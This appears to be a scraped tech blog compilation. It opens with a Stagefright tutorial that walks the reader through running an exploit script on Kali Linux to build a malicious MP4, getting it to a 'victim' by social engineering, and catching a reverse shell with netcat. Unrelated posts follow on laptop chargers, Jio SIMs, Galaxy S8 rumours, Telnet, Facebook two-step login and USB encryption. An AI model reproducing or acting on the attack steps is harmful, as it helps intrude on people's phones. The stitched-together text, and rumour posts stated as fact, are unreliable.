Today i am going to demonstrate a exploit to take reverse shell in android,before i explain the demo i want to explain some things related to  this hack or exploit and also this for education and awareness about security of your devices.

What is Stagefright?

Android includes Stagefright, a media playback engine at the native level that has built-in software-based codecs for popular media formats.

Stagefright audio and video playback features include integration with OpenMAX codecs, session management, time-synchronized rendering, transport control, and DRM.

Stagefright also supports integration with custom hardware codecs provided by you. To set a hardware path to encode 
and decode media, you must implement a hardware-based codec as an OpenMax IL (Integration Layer) component.  

How hacker can exploit this Stagefright Library?

This critical vulnerability was discovered by a researcher at Cyber Security Firm called Zimperium. This  vulnerability is a type of buffer overflow attack and in this attack hacker don't need any kind of user interaction.In this vulnerability hacker sends a mp4 video that crash Stagefright library and restart the process with reverse shell.


1.Boot up your kali linux.

2.Download the python script from this link and rename file as

3.Run this command as explained in this pic for example:-
"python 'address of script' -c your local ip -p any open port -o file name of video".

4.Then send this file to your victim by using your social engineering skills.

5.After victim trapped in attack then site listing port by using this command "netcat -l -p port which used while creating your attack video".

This attack work only on android 2.1-5.0.

If  you want to check that are you vulnerable to this attack then  scan your device by downloading app from play store.

If you are vulnerable then update your device to latest version.

I hope you understand this article well.

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How to hack Andriod using Stagefright Vulnerability
We live in a Digital World and all of us have Laptops.The Basic problem that we all face is, we often forget to carry our Laptop's charger along with the Laptop when we are visiting some place or Friend's Home. We are then left with the only option that, charge our Laptop with the Charger of our Friend's Laptop. Question arises, is that charger suitable for your Laptop? Is the charger has same wattage that yours have? Is that Charger safe for your Laptop?

Don't worry we are here to give answers of all these questions but the Condition is, you have to read them Carefully.

You should know one thing that each Charger is made according as the device to be Charged. So firstly avoid using the different chargers. Your Laptop has different specification from that one which your Friend owns.

Have you ever charged your Laptop with different Charger yet? If you have tried it then you may have faced a Problem that the different charger doesn't charge the battery of your Laptop but it don't let your Laptop to shut down. The different charger only provides a Run-Time current to your Laptop but doesn't charge your Battery. 

In the case of Android phones the things are different. Mostly the charging port gets matched and there is no problem in charging the device because mostly all the smartphones require same wattage.In case of Laptops, it is different. All the Laptops are made with different specification and different internal Chips which require different amount of Wattage. So you should never charge your Laptop with another Charger.

Also Read - Overnight Laptop Battery Charging Will End The Battery Life?Seriously?But Truth is something different.

We will provide you some key points and you must remember them-

1-  Size and shape of the Charging port must match.
2- Amperage should match or exceed.
3- Voltage and polarity should match.
4- Lower amperage might fry your charger and heat the Laptop.

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Yes, this is a real news from Microsoft. Microsoft has planned a Best way to move somewhat ahead of it's Rival Apple. Microsoft is a very clever company and is doing a very brilliant work to increase their Demand. 

The offer comes as Microsoft has unveiled some new devices and software at an event in New York few days back. One of its announcements was a battery life boost and graphics bump in its high-end Surface Book i7.

Microsoft is really paying you $650 for not using Apple's Macbook and "trade up" to a new Surface Book or Surface Pro at a Microsoft Store or via

The Deal was officially announced after the New release of the Apple's Macbook Pro which Apple has released one day before.

Apple has disappointed the Users by not releasing a Macbook with Touch screen feature. So Microsoft is taking full advantage of this and Now Microsoft has put up a Deal in which you can get the Experience of Microsoft's new Surface Series.You can now replace your Apple device and have the experience of Microsoft's device.

Microsoft's team has developed very much and no doubt they have better technology currently, than Apple has. The only difference is Apple's Popularity and that too will be covered very soon.

How to Get Benefit from Microsoft?

Remember- The Offer is available only till November 10 2016. So Hurry up!

Follow the steps below to have the Benefit-

1- Find out your Trade-in value by opening this Website.

2- Give Microsoft your Old Laptop along with accessories.

3- You will receive a E-Mail from Microsoft along with the Promo Code.

4- Use that Promo Code to get Discount from the Microsoft.

Go ahead and check it out, if you want Surface Pro 4's experience instead of same old Mac experience.

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Security is the most Important thing that most of the People look for. If you are an Android or Mi User then you must be aware of Lock Pattern Security at Both the Platforms. Pattern Lock,is a feature that allows the user to Unlock their respective Smart Phones by drawing a Pattern on a 3 by 3 point or 4 by 4 Point Interval.

In Windows, you have Password Based Security like in Android and MIUI. But Suppose that if there is a chance to add Pattern Lock on your Operating System.Sounds Exciting ! This Method to set Pattern Lock on Windows will work on any of its Version. We will Use Eusing Maze Lock

As Pattern is Easier than a Combination of Numbers and Letters, many Users prefer it over the Pin and Passwords to protect their Smartphones.

What is Eusing Maze Lock ?

Eusing Maze Lock is a Small, Lightweight application that allows you to Lock your screen and prevent other people from Accessing your computer while you are away from it.Eusing Maze Lock uses a Pattern based technique to lock your computer. Simply set your own unlock pattern by connecting some of the nine dots together (There is a default unlock pattern has been pre-set). When you try to unlock your computer, you need to draw the same pattern exactly as you set.

How to Set Pattern Lock on Any Version of Windows ?

1) First Download Eusing Maze Lock and Install it in your System.

2) Right Click on the Maze Lock Icon and Click on the Configure Icon or you can Simply press Windows Key+ C .

3)Now Draw the Default Pattern .

4)Now A Window will be Displayed.In the Reset Pattern Tab you can Reset your Pattern,Backup it and Change the Point Interval.

5)After Changing the Default Pattern with your Pattern.Click on the General Tab and Do the Settings according to your Preferences.

6)Now Click on the Background Tab to Change the Background of the Screen.

7)After doing all the Setting Click on OK Button.

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Telnet is an Application, which is used for Accessing Remote Computers on Internet or LAN's.Telnet is used to provide a Bidirectional Interactive Text-Oriented Communication facility using a Terminal/Command Line connection. With Telnet, you can Log on another Remote System as a Regular User with some Privileges ,you have been granted on that Remote Computer.

How to Enable Telnet Client ::

1)Type " Control Panel " in the Search Box and Hit Enter.

2)Now Click on Programs Category.

3)Under Programs and Features ,Click on Turn Windows Feature on or off.

4)A Windows Feature Box will be Displayed in which Windows Feature will be Listed.

5)Search for Telnet Client and Telnet Server and Check Both the Boxes and Click on OK Button.

6)It will Ask you to Restart your System.Click on Restart Now and wait until your System Open up's.

7)Now type " CMD " in the Search Box and Press Enter .

8)Type " telnet " Command in the CMD Window and Hit Enter.

9)Type " help " Command in the Telnet Window and Hit Enter.It will Show all the Commands used in Telnet.

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2016 is Proved to be a Mixed Year for Samsung as at one side Samsung is Celebrating its Victory for Samsung S7 Edge but at the Other Side Note 7 Proved to be the Biggest Failure. After the Galaxy Note 7 incident,which cause a Huge Loss to Samsung and its Ranks,Samsung Decided to Launch a New Smartphone to Build back its Trust in People and also to increase their Rank.Samsung’s next Smartphone, the Galaxy S8, will have a lot of Exciting Features for which the World will be waiting Excitingly .

Features of Samsung Galaxy S8 ::

KernelBit Team has been informed that Samsung is working to put an Optical Fingerprint Scanner on the Galaxy S8 at its Back and it will help Samsung achieve a Full Screen Smartphone.Samsung is facing some problems in order to Put Optical Fingerprint Recognition,as its Components are not easily Available but the Launching of Galaxy S8 is a year away.So Samsung has plenty of time to resolve the production issues.

The Smartphone may have a 5.5-inch Super AMOLED 4K Display. Further, it is powered by either the Snapdragon 830 or the Exynos 8895 SoC, and both are really the Best Processors. This is Because as Samsung has announced that it has already begun Producing Chipsets using the 10nm process.

We Also have been Informed that the phone will be available two Variants one in 6GB and other in 8GB RAM . Samsung recently Revealed about the Galaxy C9 Pro, which is the first phone by the company to support 6GB of RAM.

Launching of Samsung S8 ::

Rumors are that the phone is to be launched in Early 2017. Galaxy S8 might be the first smartphone in the world to have Optical Fingerprint Recognition technology.It may Cost you Around 850$ .

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Jio is Company which is completely Owned by Reliance Industries. It is a LTE mobile network operator in India. It is the only network which provides 4G Data at such a low cost. But at present, speed of Jio has somewhat deducted but there's a reason behind it and we will discuss it here. 

Untold Story of Jio-

The thought of starting the Jio Company was a very Old idea and the Jio was to be Launched in 2014 but with 3G not as 4G Network. It was totally planned to Launch Jio as a 3G sim in 2014 but in the year 2014, other Companies also came in Market andstart selling the 3G data. Now Jio was not in a postion to Launch a 3G based Sim in a competition to other Companies. So, 4G Network was the main Target of Jio. They need more Infrastructure and more plans so they were to need more time.Later in the Year 2015, they proposed this idea to Shahrukh Khan (Bollywood Actor) and made him the Brand Ambassador of Jio. He used the Sim at first. Then Jio was launched as a 4G LTE network Sim for all.

We know that you have many Questions about Jio. We will Discuss them Right here.

Who can get Jio Sim?

I think till now no one is left without Jio Sim but there may be some persons who are not interested in Free Internet. Jio Sim is a 4G Enabled Sim so only that Smartphones which are 4G Enabled can run a Jio sim in that. Earlier the Scheme for Jio was limited to some Companies only but now it is available for all 4G Enabled Smartphones.

Can iPhone User have the Jio Sim?

It is the most Popular Question that is Jio working in iPhones. Jio works only in the 4G Enabled Smartphones so, iPhone 5s supports Jio but the 4th Series of iPhone i.e iPhone 4 or 4s cannot use the Jio Service. So you can Run the Jio Sim in your iPhone 5s.

Jio Deals With Apple?

Yes the Telecom Company Jio has made a Deal with the Apple for their Promotion. As we all know that Mukesh Ambani is a very Brilliant Businessman so,obviously he have a Great Idea for the Promotion of Jio.

Now if you will buy a New Apple Device majorly iPhone then, you will get a Jio Sim free with it for 12 months. Jio Sim will be Packed along with the Box of the iPhone and if you Don't get it then you can claim the Salesman and you will surely get it.

To Book a iPhone 7 with Jio, Click Here - 

Can Activated Jio Sim work on other Devices?

This is a Question which everyone was waiting for. Jio Sim is a IMEI bound Sim so, it will not work in other Devices. The Device in which the Bar Code has been Generated,Jio will work only in that Device and the Device must be 4G Enabled.

Why Jio is More Popular Currently?

Jio is More Popular Currently because of the Brilliant Scheme of Mukesh Ambani. With the Release of Jio, it becomes loud and clear that the rates of the Internet Plans are very Low and other Companies are Charging more Money for Less Data Plans. Jio has launched a 4G network in a very less rates. If you will watch the Rate list of Jio Plans and compare it with the Current Plans of other Companies then, you will find a Huge Difference between the Rates. Rival Companies are currently in a Stress and are waiting for the End Date of Jio's free 4G Welcome offer.

Can a Vodafone,Airtel or Idea Sim be Converted to Jio?

Currently the answer is No, But ofcourse you can after the Commercial Release of Jio Plans in January. Now the Welcome offer of Jio is Running so you cannot Convert your Sim into Jio's Service.

Reliance is trolling with the Other Telecom Companies. The speed is deduced currently because a Test is going on in the Company for that Test, the speed is reduced from some days but the speed is Good enough at night. Moreover, Getting slow speed in free of cost is not Bad.

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Guys, You Know that Facebook is the Black Hole of World Wide Web as it is used by Billions of People and also has Become the Social Media Giant on Internet. So day by day Facebook is Increasing its Security as to Safe Guard their Users.As every Hacker and Cracker want to Exploit the Number One Social Networking Site and its Users also. It Depends on you how you use Facebook Features to make your Profile Secure from Hackers. Facebook has many Good Security Features that help a user to make their Account Secure and Keep their Data and Information Safe in their Account.

Like Google launched Two Step Verification, Facebook also Launched it to Enhance its Security. It is also Named as “ Login Approvals ” Feature of Facebook. As Previously Google Added this Feature and it Seems to be Successful in Protecting their Users and also their Accounts. So Facebook also needed to Add this Security Layer to Protect their User’s Facebook Accounts and Protect them against several Hacks or Exploits. But Problem of this Feature is " It can not Implement for all Countries World Wide ". But Don't worry it will be Soon Implemented for All Countries World Wide.

How to Activate 2 Steps Verification on Facebook ?

1)Firstly Login to Your Facebook Account and then Click Drop Down menu from Right Side of the Top and Open Facebook Settings.

2)Then Jump to Security Settings Tab and You can see a Login Approvals Option and Click on Edit. ( If You not See the Login Approvals Option So Go Below Check another Way to Enable this Feature in India )

3)They will ask You to Activate Require Security Code to Access My account. When You Tick this Option a Small Window is Pop Up.

4)Then Click on Get Started  Further They ask you of Mobile Type. I can Choose Other and The Hit Continue.

5)After That They Send you a Verification Code for a Test. In a Minute or less than that You will Receive a Code that You need to Enter in Pop up Screen.

6)Now Your Login Approval Setup is Complete and Tick No, thanks and Close the Window.

7)Next Time when You Open your Facebook Account in Other Browser and Device you need to Enter a Verification Code that you Receive on Your Smart Phone.

How to Activate 2 Steps Verification on Facebook in India ?

1)Go To Google Chrome Webstore and Search for DotVPN and Click on Add to Chrome.
If you Didn't Find DotVPN, you can Click Here to Add it to Chrome.

2)Now You can see Red Button on Right Top Corner. Just Click on it and enter Email and Password to use this Extension.After Successfully registered. Now you can see that It Change Red to Blue. It show that you are using some Other Country Proxy.

Now you are able to Use “Login Approval” Option in your Facebook Account.

Actually it is Just VPN you can use Any VPN or any Proxy Server to use an IP Address of Another Country.

To Understand VPN more You can Read our Posts :

1)Free,Open Source and Fast VPN for Windows ,Andriod,Mac,Linux.iOS .

2)The Complete Guide for Understanding TOR and Becoming Anonymous .

3)How to Use Google as a Proxy Sever .

4)Opening the URL's that have been Blocked .

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Hello Friends! Today we will provide you, two best methods to Protect your Crucial Data from other Users. Sometimes you forget your Pendrive at your Friend's Home and then you are in a Tension, that Your Friend Might not see your Personal Data in your USB.  

If you have Formatted your Pendrive then also your Friend can recover the Files easily using Free softwares available on the Internet.

So what should you do to protect your Data?

First Method :

Follow the Steps to Make your USB more Secure-

1- Connect your USB with your Pc. Open your Windows Explorer, right click on the USB and click on "Turn On BitLocker"

2- Now click on Use Password to Unlock the drive. Enter the Password that you want to keep for your USB and Click on Next.

3- Save your Password at any Place in your Computer or Save it on your Microsoft Account, then click on Next.

4- Now the encryption process will be started. In this Process your USB will be Encrypted + Secured with the Password that you have Entered few seconds Back.

After the Whole process, Remove your USB and Connect it again. Now you will be asked to Type a Password to enter your USB

Second Method:

We are providing you the Second Method because in some Windows, Option of Turning On the BitLocker is Missing. So in that Case You can perform the Second Method.

Follow the Steps below - 

1- Download a Software Wondershare USB Drive Encryption.

2- Open the software and Select your USB from the Drop Down menu and click on Secure Full Drive. Now click on Install Option.

3- Now enter the Username and Password that you want to keep for your USB and click on OK.

Now your USB is Encrypted as well Secured from your Friends and Relatives.

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